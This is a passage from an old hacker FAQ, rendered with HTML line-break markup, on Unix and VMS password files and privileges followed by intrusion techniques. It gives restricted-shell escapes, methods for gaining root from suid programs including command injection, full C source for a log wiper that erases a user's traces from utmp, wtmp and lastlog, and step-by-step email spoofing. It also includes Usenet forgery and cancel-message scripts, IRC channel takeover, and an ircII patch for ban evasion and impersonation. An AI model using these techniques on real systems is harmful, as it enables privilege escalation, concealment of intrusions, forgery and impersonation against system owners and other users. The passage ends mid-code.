               *&lt;br /&gt;ConvexOS 11           /etc/shadow                     *&lt;br /&gt;DG/UX                 /etc/tcb/aa/user/               *&lt;br /&gt;EP/IX                 /etc/shadow                     x&lt;br /&gt;HP-UX                 /.secure/etc/passwd             *&lt;br /&gt;IRIX 5                /etc/shadow                     x&lt;br /&gt;Linux 1.1             /etc/shadow                     *&lt;br /&gt;OSF/1                 /etc/passwd[.dir|.pag]          *&lt;br /&gt;SCO Unix #.2.x        /tcb/auth/files/&lt;first letter   *&lt;br /&gt;                            of username&gt;/&lt;username&gt;&lt;br /&gt;SunOS4.1+c2           /etc/security/passwd.adjunct    ##username&lt;br /&gt;SunOS 5.0             /etc/shadow&lt;br /&gt;                      &lt;optional NIS+ private secure maps/tables/whatever&gt;&lt;br /&gt;System V Release 4.0  /etc/shadow                     x&lt;br /&gt;System V Release 4.2  /etc/security/* database&lt;br /&gt;Ultrix 4              /etc/auth[.dir|.pag]            *&lt;br /&gt;UNICOS                /etc/udb                        *&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;05. What is NIS/yp?&lt;br /&gt;&lt;br /&gt;NIS (Network Information System) in the current name for what was once&lt;br /&gt;known as yp (Yellow Pages).  The purpose for NIS is to allow many&lt;br /&gt;machines on a network to share configuration information, including&lt;br /&gt;password data.  NIS is not designed to promote system security.  If&lt;br /&gt;your system uses NIS you will have a very short /etc/passwd file that&lt;br /&gt;includes a line that looks like this:&lt;br /&gt;&lt;br /&gt;+::0:0:::&lt;br /&gt;&lt;br /&gt;To view the real password file use this command "ypcat passwd"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;06. What are those weird characters after the comma in my passwd file?&lt;br /&gt;&lt;br /&gt;The characters are password aging data.  Password aging forces the&lt;br /&gt;user to change passwords after a System Administrator specified period&lt;br /&gt;of time.  Password aging can also force a user to keep a password for&lt;br /&gt;a certain number of weeks before changing it.&lt;br /&gt;&lt;br /&gt;]&lt;br /&gt;] Sample entry from /etc/passwd with password aging installed:&lt;br /&gt;]&lt;br /&gt;] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;Note the comma in the encrypted password field.  The characters after&lt;br /&gt;the comma are used by the password aging mechanism.&lt;br /&gt;&lt;br /&gt;]&lt;br /&gt;] Password aging characters from above example:&lt;br /&gt;]&lt;br /&gt;] M.z8&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;The four characters are interpreted as follows:&lt;br /&gt;&lt;br /&gt;  1: Maximum number of weeks a password can be used without changing.&lt;br /&gt;  2: Minimum number of weeks a password must be used before changing.&lt;br /&gt;3&amp;4: Last time password was changed, in number of weeks since 1970.&lt;br /&gt;&lt;br /&gt;Three special cases should be noted:&lt;br /&gt;&lt;br /&gt;If the first and second characters are set to '..' the user will be&lt;br /&gt;forced to change his/her passwd the next time he/she logs in.  The&lt;br /&gt;passwd program will then remove the passwd aging characters, and the&lt;br /&gt;user will not be subjected to password aging requirements again.&lt;br /&gt;&lt;br /&gt;If the third and fourth characters are set to '..' the user will be&lt;br /&gt;forced to change his/her passwd the next time he/she logs in. Password&lt;br /&gt;aging will then occur as defined by the first and second characters.&lt;br /&gt;&lt;br /&gt;If the first character (MAX) is less than the second character (MIN),&lt;br /&gt;the user is not allowed to change his/her password.  Only root can&lt;br /&gt;change that users password.&lt;br /&gt;&lt;br /&gt;It should also be noted that the su command does not check the password&lt;br /&gt;aging data.  An account with an expired password can be su'd to&lt;br /&gt;without being forced to change the password.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                        Password Aging Codes&lt;br /&gt;+------------------------------------------------------------------------+&lt;br /&gt;|                                                                        |&lt;br /&gt;| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |&lt;br /&gt;|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |&lt;br /&gt;|                                                                        |&lt;br /&gt;| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |&lt;br /&gt;|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |&lt;br /&gt;|                                                                        |&lt;br /&gt;| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |&lt;br /&gt;|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |&lt;br /&gt;|                                                                        |&lt;br /&gt;| Character:  w  x  y  z                                                 |&lt;br /&gt;|    Number: 60 61 62 63                                                 |&lt;br /&gt;|                                                                        |&lt;br /&gt;+------------------------------------------------------------------------+&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;07. How do I access the password file under VMS?&lt;br /&gt;&lt;br /&gt;Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,&lt;br /&gt;unlike Unix, most users do not have access to read the password file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;08. How do I crack VMS passwords?&lt;br /&gt;&lt;br /&gt;Write a program that uses the SYS$GETUAF functions to compare the&lt;br /&gt;results of encrypted words against the encrypted data in SYSUAF.DAT.&lt;br /&gt;&lt;br /&gt;Two such programs are known to exist, CHECK_PASSWORD and&lt;br /&gt;GUESS_PASSWORD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;09. What can be logged on a VMS system?&lt;br /&gt;&lt;br /&gt;Virtually every aspect of the VMS system can be logged for&lt;br /&gt;investigation.  To determine the status of the accounting on your system&lt;br /&gt;use the command SHOW ACCOUNTING.  System accounting is a facility for&lt;br /&gt;recording information about the use of the machine from a system&lt;br /&gt;accounting perspective (resource logging such as CPU time, printer usage&lt;br /&gt;etc.), while system auditing is done with the aim of logging information&lt;br /&gt;for the purpose of security.  To enable accounting:&lt;br /&gt; &lt;br /&gt;$ SET ACCOUNTING  [/ENABLE=(Activity...)] &lt;br /&gt; &lt;br /&gt;This enables accounting logging information to the accounting log&lt;br /&gt;file SYS$MANAGER:ACCOUNTING.DAT.  This also is used to close&lt;br /&gt;the current log file and open a new one with a higher version&lt;br /&gt;number. &lt;br /&gt; &lt;br /&gt;The following activities can be logged:&lt;br /&gt; &lt;br /&gt;        BATCH                   Termination of a batch job&lt;br /&gt;        DETACHED                Termination of a detached job&lt;br /&gt;        IMAGE                   Image execution&lt;br /&gt;        INTERACTIVE             Interactive job termination&lt;br /&gt;        LOGIN_FAILURE           Login failures&lt;br /&gt;        MESSAGE                 Users messages&lt;br /&gt;        NETWORK                 Network job termination&lt;br /&gt;        PRINT                   Print Jobs&lt;br /&gt;        PROCESS                 Any terminated process&lt;br /&gt;        SUBPROCESS              Termination of  a subprocess&lt;br /&gt; &lt;br /&gt;To enable security auditing use:&lt;br /&gt; &lt;br /&gt;        $ SET AUDIT [/ENABLE=(Activity...)]&lt;br /&gt; &lt;br /&gt;The /ALARM qualifier is used to raise an alarm to all terminals approved&lt;br /&gt;as security operators, which means that you need the SECURITY&lt;br /&gt;privileges.  You can determine your security auditing configuration&lt;br /&gt;using $ SHOW AUDIT /ALL&lt;br /&gt; &lt;br /&gt;The security auditor can be configured to log the following&lt;br /&gt;activities: &lt;br /&gt;&lt;br /&gt;        ACL                     Access Control List requested events&lt;br /&gt;        AUTHORIZATION           Modification to the system user&lt;br /&gt;                                authorization file  SYS$SYSTEM:SYSUAF.DAT&lt;br /&gt;        BREAKIN                 Attempted Break-ins&lt;br /&gt;        FILE_ACCESS             File or global section access&lt;br /&gt;        INSTALL                 Occurrence of any INSTALL operations&lt;br /&gt;        LOGFAILURE              Any login failures&lt;br /&gt;        LOGIN                   A login attempt from various sources&lt;br /&gt;	LOGOUT                  Logouts &lt;br /&gt;        MOUNT                   Mount or dismount requests&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. What privileges are available on a VMS system?&lt;br /&gt;  &lt;br /&gt;ACNT            Allows you to restrain accounting messages&lt;br /&gt;ALLSPOOL        Allows you to allocate spooled devices&lt;br /&gt;ALTPRI          Allot Priority.  This allows you to set any priority&lt;br /&gt;                value&lt;br /&gt;BUGCHK          Allows you make bug check error log entries&lt;br /&gt;BYPASS          Enables you to disregard protections&lt;br /&gt;CMEXEC/  &lt;br /&gt;CMKRNL          Change to executive or kernel mode.  These privileges&lt;br /&gt;                allow a process to execute optional routines with KERNEL&lt;br /&gt;                and EXECUTIVE access modes. CMKRNL is the most powerful&lt;br /&gt;                privilege on VMS as anything protected can be accessed&lt;br /&gt;                if you have this privilege.  You must have these&lt;br /&gt;                privileges to gain access to the kernel data structures&lt;br /&gt;                directly.&lt;br /&gt;DETACH          This privilege allow you to create detached processes of&lt;br /&gt;                arbitrary UICs&lt;br /&gt;DIAGNOSE        With this privilege you can diagnose devices&lt;br /&gt;EXQUOTA         Allows you to exceed your disk quota&lt;br /&gt;GROUP           This privilege grants you permission to  affect other&lt;br /&gt;                processes in the same rank&lt;br /&gt;GRPNAM          Allows you to insert group logical names into the group&lt;br /&gt;                logical names table.&lt;br /&gt;GRPPRV          Enables you to access system group objects through&lt;br /&gt;                system protection field&lt;br /&gt;LOG_IO          Allows you to issue logical input output requests&lt;br /&gt;MOUNT           May execute the mount function&lt;br /&gt;NETMBX          Allows you to create network connections&lt;br /&gt;OPER            Allows you to perform operator functions&lt;br /&gt;PFNMAP          Allows you to map to specific physical pages&lt;br /&gt;PHY_IO          Allows you to perform physical input output requests&lt;br /&gt;PRMCEB          Can create permanent common event clusters&lt;br /&gt;PRMGBL          Allows you to create permanent global sections&lt;br /&gt;PRMMBX          Allows you to create permanent mailboxes&lt;br /&gt;PSWAPM          Allows you to change a processes swap mode&lt;br /&gt;READALL         Allows you read access to everything&lt;br /&gt;SECURITY        Enables you to perform security  related functions&lt;br /&gt;SETPRV          Enable all privileges&lt;br /&gt;SHARE           Allows you to access devices allocated to other users.&lt;br /&gt;                This is used to assign system mailboxes.&lt;br /&gt;SHMEM           Enables you to modify objects in shared memory&lt;br /&gt;SYSGBL          Allows you to create system wide permanent global&lt;br /&gt;                sections&lt;br /&gt;SYSLCK          Allows you to lock system wide resources&lt;br /&gt;SYSNAM          Allows you to insert in system logical names in the&lt;br /&gt;                names table.&lt;br /&gt;SYSPRV          If a process holds this privilege then it is the same as&lt;br /&gt;                a process holding the system user identification code.&lt;br /&gt;TMPMBX          Allows you create temporary mailboxes&lt;br /&gt;VOLPRO          Enables you to override volume protection&lt;br /&gt;WORLD           When this is set you can affect other processes in the&lt;br /&gt;                world&lt;br /&gt;  &lt;br /&gt;To determine what privileges your process is running with issue the command:&lt;br /&gt;  &lt;br /&gt;$ show proc/priv   &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;11. How do I break out of a restricted shell?&lt;br /&gt;&lt;br /&gt;On poorly implemented restricted shells you can break out of the&lt;br /&gt;restricted environment by running a program that features a shell&lt;br /&gt;function.  A good example is vi.  Run vi and use this command:&lt;br /&gt;&lt;br /&gt;:set shell=/bin/sh&lt;br /&gt;&lt;br /&gt;then shell using this command:&lt;br /&gt;&lt;br /&gt;:shell&lt;br /&gt;&lt;br /&gt;If your restricted shell prevents you from using the "cd" command, ftp&lt;br /&gt;into your account and you may be able to cd.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;12. How do I gain root from a suid script or program?&lt;br /&gt;&lt;br /&gt;1. Change IFS.&lt;br /&gt;&lt;br /&gt;If the program calls any other programs using the system() function&lt;br /&gt;call, you may be able to fool it by changing IFS.  IFS is the Internal&lt;br /&gt;Field Separator that the shell uses to delimit arguments.&lt;br /&gt;&lt;br /&gt;If the program contains a line that looks like this:&lt;br /&gt;&lt;br /&gt;system("/bin/date")&lt;br /&gt;&lt;br /&gt;and you change IFS to '/' the shell will them interpret the&lt;br /&gt;proceeding line as:&lt;br /&gt;&lt;br /&gt;bin date&lt;br /&gt;&lt;br /&gt;Now, if you have a program of your own in the path called "bin" the&lt;br /&gt;suid program will run your program instead of /bin/date.&lt;br /&gt;&lt;br /&gt;To change IFS, use this command:&lt;br /&gt;&lt;br /&gt;IFS='/';export IFS      # Bourne Shell&lt;br /&gt;setenv IFS '/'          # C Shell&lt;br /&gt;export IFS='/'          # Korn Shell&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. link the script to -i&lt;br /&gt;&lt;br /&gt;Create a symbolic link named "-i" to the program.  Running "-i"&lt;br /&gt;will cause the interpreter shell (/bin/sh) to start up in interactive&lt;br /&gt;mode.  This only works on suid shell scripts.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;% ln suid.sh -i&lt;br /&gt;% -i&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Exploit a race condition&lt;br /&gt;&lt;br /&gt;Replace a symbolic link to the program with another program while the&lt;br /&gt;kernel is loading /bin/sh.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;nice -19 suidprog ; ln -s evilprog suidroot&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Send bad input to the program.&lt;br /&gt;&lt;br /&gt;Invoke the name of the program and a separate command on the same&lt;br /&gt;command line.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;suidprog ; id&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;13. How do I erase my presence from the system logs?&lt;br /&gt;&lt;br /&gt;Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text&lt;br /&gt;files that can be edited by hand with vi, you must use a program&lt;br /&gt;specifically written for this purpose.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;sys/file.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;utmp.h&gt;&lt;br /&gt;#include &lt;pwd.h&gt;&lt;br /&gt;#include &lt;lastlog.h&gt;&lt;br /&gt;#define WTMP_NAME "/usr/adm/wtmp"&lt;br /&gt;#define UTMP_NAME "/etc/utmp"&lt;br /&gt;#define LASTLOG_NAME "/usr/adm/lastlog"&lt;br /&gt; &lt;br /&gt;int f;&lt;br /&gt; &lt;br /&gt;void kill_utmp(who)&lt;br /&gt;char *who;&lt;br /&gt;{&lt;br /&gt;    struct utmp utmp_ent;&lt;br /&gt; &lt;br /&gt;  if ((f=open(UTMP_NAME,O_RDWR))&gt;=0) {&lt;br /&gt;     while(read (f, &amp;utmp_ent, sizeof (utmp_ent))&gt; 0 )&lt;br /&gt;       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {&lt;br /&gt;                 bzero((char *)&amp;utmp_ent,sizeof( utmp_ent ));&lt;br /&gt;                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);&lt;br /&gt;                 write (f, &amp;utmp_ent, sizeof (utmp_ent));&lt;br /&gt;            }&lt;br /&gt;     close(f);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;void kill_wtmp(who)&lt;br /&gt;char *who;&lt;br /&gt;{&lt;br /&gt;    struct utmp utmp_ent;&lt;br /&gt;    long pos;&lt;br /&gt; &lt;br /&gt;    pos = 1L;&lt;br /&gt;    if ((f=open(WTMP_NAME,O_RDWR))&gt;=0) {&lt;br /&gt; &lt;br /&gt;     while(pos != -1L) {&lt;br /&gt;        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);&lt;br /&gt;        if (read (f, &amp;utmp_ent, sizeof (struct utmp))&lt;0) {&lt;br /&gt;          pos = -1L;&lt;br /&gt;        } else {&lt;br /&gt;          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {&lt;br /&gt;               bzero((char *)&amp;utmp_ent,sizeof(struct utmp ));&lt;br /&gt;               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);&lt;br /&gt;               write (f, &amp;utmp_ent, sizeof (utmp_ent));&lt;br /&gt;               pos = -1L;&lt;br /&gt;          } else pos += 1L;&lt;br /&gt;        }&lt;br /&gt;     }&lt;br /&gt;     close(f);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;void kill_lastlog(who)&lt;br /&gt;char *who;&lt;br /&gt;{&lt;br /&gt;    struct passwd *pwd;&lt;br /&gt;    struct lastlog newll;&lt;br /&gt; &lt;br /&gt;     if ((pwd=getpwnam(who))!=NULL) {&lt;br /&gt; &lt;br /&gt;        if ((f=open(LASTLOG_NAME, O_RDWR)) &gt;= 0) {&lt;br /&gt;            lseek(f, (long)pwd-&gt;pw_uid * sizeof (struct lastlog), 0);&lt;br /&gt;            bzero((char *)&amp;newll,sizeof( newll ));&lt;br /&gt;            write(f, (char *)&amp;newll, sizeof( newll ));&lt;br /&gt;            close(f);&lt;br /&gt;        }&lt;br /&gt; &lt;br /&gt;    } else printf("%s: ?\n",who);&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;main(argc,argv)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[];&lt;br /&gt;{&lt;br /&gt;    if (argc==2) {&lt;br /&gt;        kill_lastlog(argv[1]);&lt;br /&gt;        kill_wtmp(argv[1]);&lt;br /&gt;        kill_utmp(argv[1]);&lt;br /&gt;        printf("Zap2!\n");&lt;br /&gt;    } else&lt;br /&gt;    printf("Error.\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;14. How do I send fakemail?&lt;br /&gt;&lt;br /&gt;Telnet to port 25 of the machine you want the mail to appear to&lt;br /&gt;originate from.  Enter your message as in this example:&lt;br /&gt;&lt;br /&gt; HELO bellcore.com&lt;br /&gt; MAIL FROM:voyager@bellcore.com&lt;br /&gt; RCPT TO:president@whitehouse.gov&lt;br /&gt; DATA&lt;br /&gt; From: voyager@bellcore.com (The Voyager)&lt;br /&gt; To: president@whitehouse.gov&lt;br /&gt; Subject: Clipper&lt;br /&gt; Reply-To: voyager@bellcore.com&lt;br /&gt;&lt;br /&gt;	Please discontinue your silly Clipper initiative.&lt;br /&gt; .&lt;br /&gt; QUIT&lt;br /&gt;&lt;br /&gt;On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"&lt;br /&gt;line will not work.  Test by sending yourself fakemail first.&lt;br /&gt;&lt;br /&gt;For more information read RFC 822 "Standard for the format of ARPA&lt;br /&gt;Internet text messages."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;15. How do I fake posts and control messages to UseNet?&lt;br /&gt;&lt;br /&gt; From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))&lt;br /&gt; Subject: FAQ: Better living through forgery&lt;br /&gt; Date: 19 Mar 1995 02:37:09 GMT&lt;br /&gt;&lt;br /&gt;	Anonymous netnews without "anonymous" remailers&lt;br /&gt;&lt;br /&gt; Inspired by the recent "NetNews Judges-L" events, this file has been&lt;br /&gt; updated to cover forging control messages, so you can do your own&lt;br /&gt; article canceling and create and destroy your own newsgroups.&lt;br /&gt;&lt;br /&gt; Save any news article to a file.  We'll call it "hak" in this example.&lt;br /&gt;&lt;br /&gt; Edit "hak", and remove any header lines of the form&lt;br /&gt;&lt;br /&gt;         From some!random!path!user   (note: "From ", not "From: " !!)&lt;br /&gt;         Article:&lt;br /&gt;         Lines:&lt;br /&gt;         Xref:&lt;br /&gt;&lt;br /&gt; Shorten the Path: header down to its LAST two or three "bangized"&lt;br /&gt; components. This is to make the article look like it was posted from&lt;br /&gt; where it really was posted, and originally hit the net at or near the&lt;br /&gt; host you send it to.  Or you can construct a completely new Path: line&lt;br /&gt; to reflect your assumed alias.&lt;br /&gt;&lt;br /&gt; Make some change to the Message-ID: field, that isn't likely to be&lt;br /&gt; duplicated anywhere.  This is usually best done by adding a couple of&lt;br /&gt; random characters to the part before the @, since news posting programs&lt;br /&gt; generally use a fixed-length field to generate these IDs.&lt;br /&gt;&lt;br /&gt; Change the other headers to say what you like -- From:, Newsgroups:,&lt;br /&gt; Sender:, etc.  Replace the original message text with your message.  If&lt;br /&gt; you are posting to a moderated group or posting a control message,&lt;br /&gt; remember to put in an Approved: header to bypass the moderation&lt;br /&gt; mechanism.&lt;br /&gt;&lt;br /&gt; To specifically cancel someone else's article, you need its message-ID.&lt;br /&gt; Your message headers, in addition to what's already there, should also&lt;br /&gt; contain the following with that message-ID in it.  This makes it a&lt;br /&gt; "control message". NOTE: control messages generally require an&lt;br /&gt; Approved: header as well, so you should add one.&lt;br /&gt;&lt;br /&gt; Subject: cmsg cancel &lt;xb8700A@twits.site.com&gt;&lt;br /&gt; Control: cancel &lt;xb8700A@twits.site.com&gt;&lt;br /&gt; Approved: luser@twits.site.com&lt;br /&gt;&lt;br /&gt; Newsgroups are created and destroyed with control messages, too.  If&lt;br /&gt; you wanted to create, for instance, comp.misc.microsoft.sucks, your&lt;br /&gt; control headers would look like&lt;br /&gt;&lt;br /&gt; Subject: cmsg newgroup comp.misc.microsoft.sucks&lt;br /&gt; Control: newgroup comp.misc.microsoft.sucks&lt;br /&gt;&lt;br /&gt; Add on the string "moderated" at the end of these if you want the group&lt;br /&gt; to be "moderated with no moderator" as with alt.hackers.  Somewhere in&lt;br /&gt; the body of your message, you should include the following text,&lt;br /&gt; changed with the description of the group you're creating:&lt;br /&gt;&lt;br /&gt; For your newsgroups file:&lt;br /&gt; comp.misc.microsoft.sucks               We don't do windows&lt;br /&gt;&lt;br /&gt; To remove a group, substitute "rmgroup" for "newgroup" in the header&lt;br /&gt; lines above.  Keep in mind that most sites run all "rmgroup" requests&lt;br /&gt; through a human news-master, who may or may not decide to honor it.&lt;br /&gt; Group creation is more likely to be automatic than deletion at most&lt;br /&gt; installations.  Any newsgroup changes are more likely to take effect if&lt;br /&gt; the come from me, since my name is hardwired into many of the NNTP&lt;br /&gt; control scripts, so using the From: and Approved: headers from this&lt;br /&gt; posting is recommended.&lt;br /&gt;&lt;br /&gt; Save your changed article, check it to make sure it contains NO&lt;br /&gt; reference to yourself or your own site, and send it to your favorite&lt;br /&gt; NNTP server that permits transfers via the IHAVE command, using the&lt;br /&gt; following script:&lt;br /&gt;&lt;br /&gt; =======================&lt;br /&gt; #! /bin/sh&lt;br /&gt; ## Post an article via IHAVE.&lt;br /&gt; ## args: filename server&lt;br /&gt;&lt;br /&gt;  if test "$2" = "" ; then&lt;br /&gt;   echo usage: $0 filename server&lt;br /&gt;   exit 1&lt;br /&gt; fi&lt;br /&gt; if test ! -f $1 ; then&lt;br /&gt;   echo $1: not found&lt;br /&gt;   exit 1&lt;br /&gt; fi&lt;br /&gt;&lt;br /&gt; # suck msg-id out of headers, keep the brackets&lt;br /&gt; msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \&lt;br /&gt;   sed 's/.*-[Ii][Dd]: //'`&lt;br /&gt; echo $msgid&lt;br /&gt;&lt;br /&gt; ( sleep 5&lt;br /&gt;   echo IHAVE $msgid&lt;br /&gt;   sleep 5&lt;br /&gt;   cat $1&lt;br /&gt;   sleep 1&lt;br /&gt;    echo "."&lt;br /&gt;   sleep 1&lt;br /&gt;   echo QUIT ) | telnet $2 119&lt;br /&gt; =======================&lt;br /&gt;&lt;br /&gt; If your article doesn't appear in a day or two, try a different server.&lt;br /&gt; They are easy to find.  Here's a script that will break a large file&lt;br /&gt; full of saved netnews into a list of hosts to try.  Edit the output of&lt;br /&gt; this if you want, to remove obvious peoples' names and other trash.&lt;br /&gt;&lt;br /&gt; =======================&lt;br /&gt; #! /bin/sh&lt;br /&gt; FGV='fgrep -i -v'&lt;br /&gt; egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\&lt;br /&gt; /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp&lt;br /&gt; =======================&lt;br /&gt;&lt;br /&gt; Once you have your host list, feed it to the following script.&lt;br /&gt;&lt;br /&gt;  =======================&lt;br /&gt; #! /bin/sh&lt;br /&gt;&lt;br /&gt; while read xx ; do&lt;br /&gt; if test "$xx" = "" ; then continue;&lt;br /&gt; fi&lt;br /&gt; echo === $xx&lt;br /&gt; ( echo open $xx 119&lt;br /&gt;   sleep 5&lt;br /&gt;   echo ihave IamSOk00l@podunk.edu&lt;br /&gt;   sleep 4&lt;br /&gt;   echo .&lt;br /&gt;   echo quit&lt;br /&gt;   sleep 1&lt;br /&gt;   echo quit&lt;br /&gt; ) | telnet&lt;br /&gt; done&lt;br /&gt; =======================&lt;br /&gt;&lt;br /&gt; If the above script is called "findem" and you're using csh, you should do&lt;br /&gt;&lt;br /&gt;         findem &lt; list &gt;&amp; outfile&lt;br /&gt;&lt;br /&gt; so that ALL output from telnet is captured.  This takes a long time,&lt;br /&gt; but when it finishes, edit "outfile" and look for occurrences of "335".&lt;br /&gt; These mark answers from servers that might be willing to accept an&lt;br /&gt; article.  This isn't a completely reliable indication, since some&lt;br /&gt; servers respond with acceptance and later drop articles.  Try a given&lt;br /&gt; server with a slightly modified repeat of someone else's message, and&lt;br /&gt; see if it eventually appears.&lt;br /&gt;&lt;br /&gt; Sometimes the telnets get into an odd state, and freeze, particularly&lt;br /&gt; when a host is refusing NNTP connections.  If you manually kill these&lt;br /&gt; hung telnet processes but not the main script, the script will continue&lt;br /&gt; on.  In other words, you may have to monitor the finding script a&lt;br /&gt; little while it is running.&lt;br /&gt;&lt;br /&gt; You will notice other servers that don't necessarily take an IHAVE, but&lt;br /&gt; say "posting ok".  You can probably do regular POSTS through these, but&lt;br /&gt; they will add an "NNTP-Posting-Host: " header containing the machine&lt;br /&gt; YOU came from and are therefore unsuitable for completely anonymous&lt;br /&gt; use.&lt;br /&gt;&lt;br /&gt; PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;16. How do I hack ChanOp on IRC?&lt;br /&gt;&lt;br /&gt;Find a server that is split from the rest of IRC and create your own&lt;br /&gt;channel there using the name of the channel you want ChanOp on.  When&lt;br /&gt;that server reconnects to the net, you will have ChanOp on the real&lt;br /&gt;channel.  If you have ServerOp on a server, you can cause it to split&lt;br /&gt;on purpose.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;17. How do I modify the IRC client to hide my real username?&lt;br /&gt;&lt;br /&gt;Note: This FAQ answer was written by someone else, but I do not know who.&lt;br /&gt;      If you know who originally wrote this, please e-mail me.&lt;br /&gt;&lt;br /&gt; -- BEGIN QUOTED TEXT --&lt;br /&gt;&lt;br /&gt;Applying these changes to the source code for your ircII client and&lt;br /&gt;recompiling gives you a new ircII command: /NEWUSER.  This new command&lt;br /&gt;can be used as follows:&lt;br /&gt;&lt;br /&gt; *   /NEWUSER &lt;new_username&gt; [new_IRCNAME]&lt;br /&gt; *       &lt;new_username&gt; is a new username to use and is required&lt;br /&gt; *       [new_IRCNAME] is a new IRCNAME string to use and is optional&lt;br /&gt; *   This will disconnect you from your server and reconnect using&lt;br /&gt; *     the new information given.  You will rejoin all channel you&lt;br /&gt; *     are currently on and keep your current nickname.&lt;br /&gt;&lt;br /&gt;The effect is basically changing your username/IRCname on the fly.&lt;br /&gt;Although you are disconnected from your server and reconnected, the&lt;br /&gt;ircII client is never exited, thus keeping all your state information&lt;br /&gt;and aliases intact.  This is ideal for bots that wish to be REALLY&lt;br /&gt;obnoxious in ban evasion. ;)&lt;br /&gt;&lt;br /&gt;As this is now a new command in ircII, it can be used in scripts. Be&lt;br /&gt;aware that the reconnect associated with the NEWUSER command takes time,&lt;br /&gt;so TIMER any commands that must immediately follow the NEWUSER. For&lt;br /&gt;example... ban evasion made easy (but beware infinite reconnects when&lt;br /&gt;your site is banned):&lt;br /&gt;&lt;br /&gt;on ^474 * {&lt;br /&gt;  echo *** Banned from channel $1&lt;br /&gt;  if ($N == [AnnMurray]) {&lt;br /&gt;    nick $randomstring&lt;br /&gt;    join $1&lt;br /&gt;    } {&lt;br /&gt;    nick AnnMurray&lt;br /&gt;    newuser $randomstring&lt;br /&gt;    timer 5 join $1&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;Or just to be annoying... a /BE &lt;nickname&gt; alias that will assume a&lt;br /&gt;person's username and IRCNAME:&lt;br /&gt;&lt;br /&gt;alias be {&lt;br /&gt;  ^on ^311 * {&lt;br /&gt;    ^on 311 -*&lt;br /&gt;    newuser $2 $5-&lt;br /&gt;    }&lt;br /&gt;  whois $0&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;Now... in order to add this command to your ircII client, get the latest&lt;br /&gt;client source (or whatever client source you are using).  Cd into the&lt;br /&gt;source directory and edit the file "edit.c".  Make the following&lt;br /&gt;changes:&lt;br /&gt;&lt;br /&gt;Locate the line which reads:&lt;br /&gt;extern  void    server();&lt;br /&gt;&lt;br /&gt;Insert the following line after it:&lt;br /&gt;static  void    newuser();&lt;br /&gt;&lt;br /&gt;This pre-defines a new function "newuser()" that we'll add later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, locate the line which reads:&lt;br /&gt;	"NAMES",        "NAMES",        funny_stuff,            0,&lt;br /&gt;&lt;br /&gt;Insert the following line after it:&lt;br /&gt;	"NEWUSER",      NULL,           newuser,                0,&lt;br /&gt;&lt;br /&gt;This adds a new command NEWUSER to the list of valid IRCII commands, and&lt;br /&gt;tells it to call our new function newuser() to perform it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally, go the bottom of the file and add the following code as our new&lt;br /&gt;function "newuser()":&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * newuser: the /NEWUSER command.  Added by Hendrix&lt;br /&gt; *   Parameters as follows:&lt;br /&gt; *     /NEWUSER &lt;new_username&gt; [new_IRCNAME]&lt;br /&gt; *       &lt;new_username&gt; is a new username to use and is required